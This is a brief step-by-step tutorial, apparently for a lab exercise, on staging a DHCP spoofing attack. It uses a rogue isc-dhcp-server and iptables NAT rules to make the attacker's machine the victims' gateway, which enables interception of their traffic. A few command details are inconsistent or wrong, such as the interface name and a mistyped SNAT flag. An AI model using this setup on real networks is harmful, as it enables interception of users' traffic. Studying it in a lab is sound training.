

DHCP SPOOFING

This guide will help you to replicate a DHCP spoofing attack, the steps are the following

1. Create and configure a new virtual netcard
 - a. `ifconfig <<Name_of_interface>>:0 <<ip_address>>/<<netmask>>`
 - b. `$sudo ifconfig eth0:0 10.1.1.1/24`
2. Install and configure isc-dhcp-server
 - a. Install isc-dhcp-server
 - i. `$sudo apt install isc-dhcp-server`
 - b. Configure server
 - i. `$sudo nano /etc/default/isc-dhcp-server`
 - ii. Put newly created interface name at `INTERFACESv4=""`
 1. `Es: INTERFACESv4="eth:0"`
 - c. Configure subnet
 - i. `$sudo nano /etc/dhcp/dhcpd.conf`
 - ii. Modify option domain-name putting lab
 1. `Es: option domain-name "lab";`
 - iii. Modify option domain-name-servers putting some dns server
 1. `Es: option domain-name-servers 1.1.1.1;`
 - iv. Remove # in front of "authoritative"
 - v. Creation of subnet

```
subnet 10.1.1.0 netmask 255.255.255.0{  
    range 10.1.1.2 10.1.1.254;  
    option routers 10.1.1.1;  
}
```

3. Configure Nat
 - a. Enabling IP Forwarding
 - i. `$sudo su`
 - ii. `$echo 1 > /proc/sys/net/ipv4/ip_forward`
 - iii. `$iptables -t filter -P FORWARD ACCEPT`
 - b. Configuring Nat
 - i. `$sudo su`
 - ii. `$iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`
 - iii. `$iptables -t nat -A POSTROUTING -o eth0:0 -j SNAT -to-source 10.0.0.2 (IP_ADDRESS OF ATTACKER)`
 - c. Check if rules are fine
 - i. `$sudo su`
 - ii. `$iptables -t nat -L`
 - d. Clean iptables
 - i. `$sudo su`
 - ii. `$iptables -t nat -F`